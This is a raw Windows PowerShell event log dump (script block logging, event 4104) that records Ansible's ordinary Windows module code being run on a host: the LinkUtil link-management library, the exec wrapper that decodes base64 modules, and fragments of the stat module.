Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2204 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1968 | 3228 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:05 AM | 61e00a24-ee3b-0003-6fe3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
#Requires -Module Ansible.ModuleUtils.PrivilegeUtil
Function Load-LinkUtils() {
$link_util = @'
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace Ansible
{
public enum LinkType
{
SymbolicLink,
JunctionPoint,
HardLink
}
public class LinkUtilWin32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public LinkUtilWin32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public LinkUtilWin32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator LinkUtilWin32Exception(string message) { return new LinkUtilWin32Exception(message); }
}
public class LinkInfo
{
public LinkType Type { get; internal set; }
public string PrintName { get; internal set; }
public string SubstituteName { get; internal set; }
public string AbsolutePath { get; internal set; }
public string TargetPath { get; internal set; }
public string[] HardTargets { get; internal set; }
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct REPARSE_DATA_BUFFER
{
public UInt32 ReparseTag;
public UInt16 ReparseDataLength;
public UInt16 Reserved;
public UInt16 SubstituteNameOffset;
public UInt16 SubstituteNameLength;
public UInt16 PrintNameOffset;
public UInt16 PrintNameLength;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = LinkUtil.MAXIMUM_REPARSE_DATA_BUFFER_SIZE)]
public char[] PathBuffer;
}
public class LinkUtil
{
public const int MAXIMUM_REPARSE_DATA_BUFFER_SIZE = 1024 * 16;
private const UInt32 FILE_FLAG_BACKUP_SEMANTICS = 0x02000000;
private const UInt32 FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000;
private const UInt32 FSCTL_GET_REPARSE_POINT = 0x000900A8;
private const UInt32 FSCTL_SET_REPARSE_POINT = 0x000900A4;
private const UInt32 FILE_DEVICE_FILE_SYSTEM = 0x00090000;
private const UInt32 IO_REPARSE_TAG_MOUNT_POINT = 0xA0000003;
private const UInt32 IO_REPARSE_TAG_SYMLINK = 0xA000000C;
private const UInt32 SYMLINK_FLAG_RELATIVE = 0x00000001;
private const Int64 INVALID_HANDLE_VALUE = -1;
private const UInt32 SIZE_OF_WCHAR = 2;
private const UInt32 SYMBOLIC_LINK_FLAG_FILE = 0x00000000;
private const UInt32 SYMBOLIC_LINK_FLAG_DIRECTORY = 0x00000001;
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
private static extern SafeFileHandle CreateFile(
string lpFileName,
[MarshalAs(UnmanagedType.U4)] FileAccess dwDesiredAccess,
[MarshalAs(UnmanagedType.U4)] FileShare dwShareMode,
IntPtr lpSecurityAttributes,
[MarshalAs(UnmanagedType.U4)] FileMode dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
// Used by GetReparsePointInfo()
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeviceIoControl(
SafeFileHandle hDevice,
UInt32 dwIoControlCode,
IntPtr lpInBuffer,
UInt32 nInBufferSize,
out REPARSE_DATA_BUFFER lpOutBuffer,
UInt32 nOutBufferSize,
out UInt32 lpBytesReturned,
IntPtr lpOverlapped);
// Used by CreateJunctionPoint()
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeviceIoControl(
SafeFileHandle hDevice,
UInt32 dwIoControlCode,
REPARSE_DATA_BUFFER lpInBuffer,
UInt32 nInBufferSize,
IntPtr lpOutBuffer,
UInt32 nOutBufferSize,
out UInt32 lpBytesReturned,
IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool GetVolumePathName(
string lpszFileName,
StringBuilder lpszVolumePathName,
ref UInt32 cchBufferLength);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern IntPtr FindFirstFileNameW(
string lpFileName,
UInt32 dwFlags,
ref UInt32 StringLength,
StringBuilder LinkName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool FindNextFileNameW(
IntPtr hFindStream,
ref UInt32 StringLength,
StringBuilder LinkName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool FindClose(
IntPtr hFindFile);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool RemoveDirectory(
string lpPathName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeleteFile(
string lpFileName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateSymbolicLink(
string lpSymlinkFileName,
string lpTargetFileName,
UInt32 dwFlags);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateHardLink(
string lpFileName,
string lpExistingFileName,
IntPtr lpSecurityAttributes);
public static LinkInfo GetLinkInfo(string linkPath)
{
FileAttributes attr = File.GetAttributes(linkPath);
if (attr.HasFlag(FileAttributes.ReparsePoint))
return GetReparsePointInfo(linkPath);
if (!attr.HasFlag(FileAttributes.Directory))
return GetHardLinkInfo(linkPath);
return null;
}
public static void DeleteLink(string linkPath)
{
bool success;
FileAttributes attr = File.GetAttributes(linkPath);
if (attr.HasFlag(FileAttributes.Directory))
{
success = RemoveDirectory(linkPath);
}
else
{
success = DeleteFile(linkPath);
}
if (!success)
throw new LinkUtilWin32Exception(String.Format("Failed to delete link at {0}", linkPath));
}
public static void CreateLink(string linkPath, String linkTarget, LinkType linkType)
{
switch (linkType)
{
case LinkType.SymbolicLink:
UInt32 linkFlags;
FileAttributes attr = File.GetAttributes(linkTarget);
if (attr.HasFlag(FileAttributes.Directory))
linkFlags = SYMBOLIC_LINK_FLAG_DIRECTORY;
else
linkFlags = SYMBOLIC_LINK_FLAG_FILE;
if (!CreateSymbolicLink(linkPath, linkTarget, linkFlags))
throw new LinkUtilWin32Exception(String.Format("CreateSymbolicLink({0}, {1}, {2}) failed", linkPath, linkTarget, linkFlags));
break;
case LinkType.JunctionPoint:
CreateJunctionPoint(linkPath, linkTarget);
break;
case LinkType.HardLink:
if (!CreateHardLink(linkPath, linkTarget, IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("CreateHardLink({0}, {1}) failed", linkPath, linkTarget));
break;
}
}
private static LinkInfo GetHardLinkInfo(string linkPath)
{
UInt32 maxPath = 260;
List<string> result = new List<string>();
StringBuilder sb = new StringBuilder((int)maxPath);
UInt32 stringLength = maxPath;
if (!GetVolumePathName(linkPath, sb, ref stringLength))
throw new LinkUtilWin32Exception("GetVolumePathName() failed");
string volume = sb.ToString();
stringLength = maxPath;
IntPtr findHandle = FindFirstFileNameW(linkPath, 0, ref stringLength, sb);
if (findHandle.ToInt64() != INVALID_HANDLE_VALUE)
{
try
{
do
{
string hardLinkPath = sb.ToString();
if (hardLinkPath.StartsWith("\\"))
hardLinkPath = hardLinkPath.Substring(1, hardLinkPath.Length - 1);
result.Add(Path.Combine(volume, hardLinkPath));
stringLength = maxPath;
} while (FindNextFileNameW(findHandle, ref stringLength, sb));
}
finally
{
FindClose(findHandle);
}
}
if (result.Count > 1)
return new LinkInfo
{
Type = LinkType.HardLink,
HardTargets = result.ToArray()
};
return null;
}
private static LinkInfo GetReparsePointInfo(string linkPath)
{
SafeFileHandle fileHandle = CreateFile(
linkPath,
FileAccess.Read,
FileShare.None,
IntPtr.Zero,
FileMode.Open,
FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS,
IntPtr.Zero);
if (fileHandle.IsInvalid)
throw new LinkUtilWin32Exception(String.Format("CreateFile({0}) failed", linkPath));
REPARSE_DATA_BUFFER buffer = new REPARSE_DATA_BUFFER();
UInt32 bytesReturned;
try
{
if (!DeviceIoControl(
fileHandle,
FSCTL_GET_REPARSE_POINT,
IntPtr.Zero,
0,
out buffer,
MAXIMUM_REPARSE_DATA_BUFFER_SIZE,
out bytesReturned,
IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("DeviceIoControl() failed for file at {0}", linkPath));
}
finally
{
fileHandle.Dispose();
}
bool isRelative = false;
int pathOffset = 0;
LinkType linkType;
if (buffer.ReparseTag == IO_REPARSE_TAG_SYMLINK)
{
UInt32 bufferFlags = Convert.ToUInt32(buffer.PathBuffer[0]) + Convert.ToUInt32(buffer.PathBuffer[1]);
if (bufferFlags == SYMLINK_FLAG_RELATIVE)
isRelative = true;
pathOffset = 2;
linkType = LinkType.SymbolicLink;
}
else if (buffer.ReparseTag == IO_REPARSE_TAG_MOUNT_POINT)
{
linkType = LinkType.JunctionPoint;
}
else
{
string errorMessage = String.Format("Invalid Reparse Tag: {0}", buffer.ReparseTag.ToString());
throw new Exception(errorMessage);
}
string printName = new string(buffer.PathBuffer, (int)(buffer.PrintNameOffset / SIZE_OF_WCHAR) + pathOffset, (int)(buffer.PrintNameLength / SIZE_OF_WCHAR));
string substituteName = new string(buffer.PathBuffer, (int)(buffer.SubstituteNameOffset / SIZE_OF_WCHAR) + pathOffset, (int)(buffer.SubstituteNameLength / SIZE_OF_WCHAR));
// TODO: should we check for \?\UNC\server for convert it to the NT style \\server path
// Remove the leading Windows object directory \?\ from the path if present
string targetPath = substituteName;
if (targetPath.StartsWith("\\??\\"))
targetPath = targetPath.Substring(4, targetPath.Length - 4);
string absolutePath = targetPath;
if (isRelative)
absolutePath = Path.GetFullPath(Path.Combine(new FileInfo(linkPath).Directory.FullName, targetPath));
return new LinkInfo
{
Type = linkType,
PrintName = printName,
SubstituteName = substituteName,
AbsolutePath = absolutePath,
TargetPath = targetPath
};
}
private static void CreateJunctionPoint(string linkPath, string linkTarget)
{
// We need to create the link as a dir beforehand
Directory.CreateDirectory(linkPath);
SafeFileHandle fileHandle = CreateFile(
linkPath,
FileAccess.Write,
FileShare.Read | FileShare.Write | FileShare.None,
IntPtr.Zero,
FileMode.Open,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,
IntPtr.Zero);
if (fileHandle.IsInvalid)
throw new LinkUtilWin32Exception(String.Format("CreateFile({0}) failed", linkPath));
try
{
string substituteName = "\\??\\" + Path.GetFullPath(linkTarget);
string printName = linkTarget;
REPARSE_DATA_BUFFER buffer = new REPARSE_DATA_BUFFER();
buffer.SubstituteNameOffset = 0;
buffer.SubstituteNameLength = (UInt16)(substituteName.Length * SIZE_OF_WCHAR);
buffer.PrintNameOffset = (UInt16)(buffer.SubstituteNameLength + 2);
buffer.PrintNameLength = (UInt16)(printName.Length * SIZE_OF_WCHAR);
buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
buffer.ReparseDataLength = (UInt16)(buffer.SubstituteNameLength + buffer.PrintNameLength + 12);
buffer.PathBuffer = new char[MAXIMUM_REPARSE_DATA_BUFFER_SIZE];
byte[] unicodeBytes = Encoding.Unicode.GetBytes(substituteName + "\0" + printName);
char[] pathBuffer = Encoding.Unicode.GetChars(unicodeBytes);
Array.Copy(pathBuffer, buffer.PathBuffer, pathBuffer.Length);
UInt32 bytesReturned;
if (!DeviceIoControl(
fileHandle,
FSCTL_SET_REPARSE_POINT,
buffer,
(UInt32)(buffer.ReparseDataLength + 8),
IntPtr.Zero, 0,
out bytesReturned,
IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("DeviceIoControl() failed to create junction point at {0} to {1}", linkPath, linkTarget));
}
finally
{
fileHandle.Dispose();
}
}
}
}
'@
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $link_util
$env:TMP = $original_tmp
Import-PrivilegeUtil
# enable the SeBackupPrivilege if it is disabled
$state = Get-AnsiblePrivilege -Name SeBackupPrivilege
if ($state -eq $false) {
Set-AnsiblePrivilege -Name SeBackupPrivilege -Value $true
}
}
Function Get-Link($link_path) {
$link_info = [Ansible.LinkUtil]::GetLinkInfo($link_path)
return $link_info
}
Function Remove-Link($link_path) {
[Ansible.LinkUtil]::DeleteLink($link_path)
}
Function New-Link($link_path, $link_target, $link_type) {
if (-not (Test-Path -Path $link_target)) {
throw "link_target '$link_target' does not exist, cannot create link"
}
switch($link_type) {
"link" {
$type = [Ansible.LinkType]::SymbolicLink
}
"junction" {
if (Test-Path -Path $link_target -PathType Leaf) {
throw "cannot set the target for a junction point to a file"
}
$type = [Ansible.LinkType]::JunctionPoint
}
"hard" {
if (Test-Path -Path $link_target -PathType Container) {
throw "cannot set the target for a hard link to a directory"
}
$type = [Ansible.LinkType]::HardLink
}
default { throw "invalid link_type option $($link_type): expecting link, junction, hard" }
}
[Ansible.LinkUtil]::CreateLink($link_path, $link_target, $type)
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 8fc56989-3876-43a5-86b8-d330d31d0ecf
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2203 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1968 | 3228 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:05 AM | 61e00a24-ee3b-0005-9b07-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 288aad3c-c8a9-4896-a3e6-b933560a8fd0
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2202 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1968 | 3228 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:04 AM | 61e00a24-ee3b-0005-8c07-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.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aWxlOiAkKCRfLkV4Y2VwdGlvbi5NZXNzYWdlKSIKICAgIH0KICAgIGlmICgkbGlua19pbmZvIC1uZSAkbnVsbCkgewogICAgICAgIHN3aXRjaCAoJGxpbmtfaW5mby5UeXBlKSB7CiAgICAgICAgICAgICJTeW1ib2xpY0xpbmsiIHsKICAgICAgICAgICAgICAgICRzdGF0LmlzbG5rID0gJHRydWUKICAgICAgICAgICAgICAgICRzdGF0LmlzcmVnID0gJGZhbHNlCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfdGFyZ2V0ID0gJGxpbmtfaW5mby5UYXJnZXRQYXRoCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfc291cmNlID0gJGxpbmtfaW5mby5BYnNvbHV0ZVBhdGggICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgICAgICJKdW5jdGlvblBvaW50IiB7CiAgICAgICAgICAgICAgICAkc3RhdC5pc2p1bmN0aW9uID0gJHRydWUKICAgICAgICAgICAgICAgICRzdGF0LmlzcmVnID0gJGZhbHNlCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfdGFyZ2V0ID0gJGxpbmtfaW5mby5UYXJnZXRQYXRoCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfc291cmNlID0gJGxpbmtfaW5mby5BYnNvbHV0ZVBhdGggICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgICAgICJIYXJkTGluayIgewogICAgICAgICAgICAgICAgJHN0YXQubG5rX3R5cGUgPSAiaGFyZCIKICAgICAgICAgICAgICAgICRzdGF0Lm5saW5rID0gJGxpbmtfaW5mby5IYXJkVGFyZ2V0cy5Db3VudAoKICAgICAgICAgICAgICAgICMgcmVtb3ZlIGN1cnJlbnQgcGF0aCBmcm9tIHRoZSB0YXJnZXRzCiAgICAgICAgICAgICAgICAkaGxua190YXJnZXRzID0gJGxpbmtfaW5mby5IYXJkVGFyZ2V0cyB8IFdoZXJlLU9iamVjdCB7ICRfIC1uZSAkc3RhdC5wYXRoIH0KICAgICAgICAgICAgICAgICRzdGF0LmhsbmtfdGFyZ2V0cyA9IEAoJGhsbmtfdGFyZ2V0cykKICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgJHJlc3VsdC5zdGF0ID0gJHN0YXQKfQoKRXhpdC1Kc29uICRyZXN1bHQK", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "stat", "_ansible_debug": false, "_ansible_verbosity": 3, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_shell_executable": "/bin/sh", "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "get_checksum": true, "_ansible_check_mode": false, "checksum_algo": "sha1", "follow": false, "path": "C:\\eventlogcss.txt", "_ansible_tmpdir": "'C:\\Users\\Admin\\AppData\\Local\\Temp\\ansible-tmp-1611050463.59-37249015889679'"}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 4142a776-5862-43c3-a728-ad7c43f8e04a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2201 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1968 | 3228 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:04 AM | 61e00a24-ee3b-0000-13b3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 5):
wgJG1lc3NhZ2UgPSAkbnVsbCkKewo8IwogICAgLlNZTk9QU0lTCiAgICBIZWxwZXIgZnVuY3Rpb24gdG8gYWRkIHRoZSAibXNnIiBwcm9wZXJ0eSBhbmQgImZhaWxlZCIgcHJvcGVydHksIGNvbnZlcnQgdGhlCiAgICBQb3dlclNoZWxsIEhhc2h0YWJsZSB0byB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IHRvIGZpbmQgcHJlZmVycmVkIHBhcmFtZXRlciAkbmFtZQogICAgICAgICRhbGlhc2VzID0gQCgkbmFtZSkgKyAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLU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mFsdWUgLWlzIFthcnJheV0pIHsKICAgICAgICBpZiAoJHR5cGUgLWVxICJwYXRoIikgewogICAgICAgICAgICAjIEV4cGFuZCBlbnZpcm9ubWVudCB2YXJpYWJsZXMgb24gcGF0aC10eXBlCiAgICAgICAgICAgICR2YWx1ZSA9IEV4cGFuZC1FbnZpcm9ubWVudCgkdmFsdWUpCiAgICAgICAgICAgICMgVGVzdCBpZiBhIHZhbGlkIHBhdGggaXMgcHJvdmlkZWQKICAgICAgICAgICAgaWYgKC1ub3QgKFRlc3QtUGF0aCAtSXNWYWxpZCAkdmFsdWUpKSB7CiAgICAgICAgICAgICAgICAkcGF0aF9pbnZhbGlkID0gJHRydWUKICAgICAgICAgICAgICAgICMgY291bGQgc3RpbGwgYmUgYSB2YWxpZC1zaGFwZWQgcGF0aCB3aXRoIGEgbm9uZXhpc3RlbnQgZHJpdmUgbGV0dGVyCiAgICAgICAgICAgICAgICBpZiAoJHZhbHVlIC1tYXRjaCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMg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2V0X21kNSIgLXR5cGUgImJvb2wiIC1kZWZhdWx0ICRmYWxzZQokZ2V0X2NoZWNrc3VtID0gR2V0LUFuc2libGVQYXJhbSAtb2JqICRwYXJhbXMgLW
ScriptBlock ID: 4142a776-5862-43c3-a728-ad7c43f8e04a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2200 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1968 | 3228 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:04 AM | 61e00a24-ee3b-0000-13b3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 5):
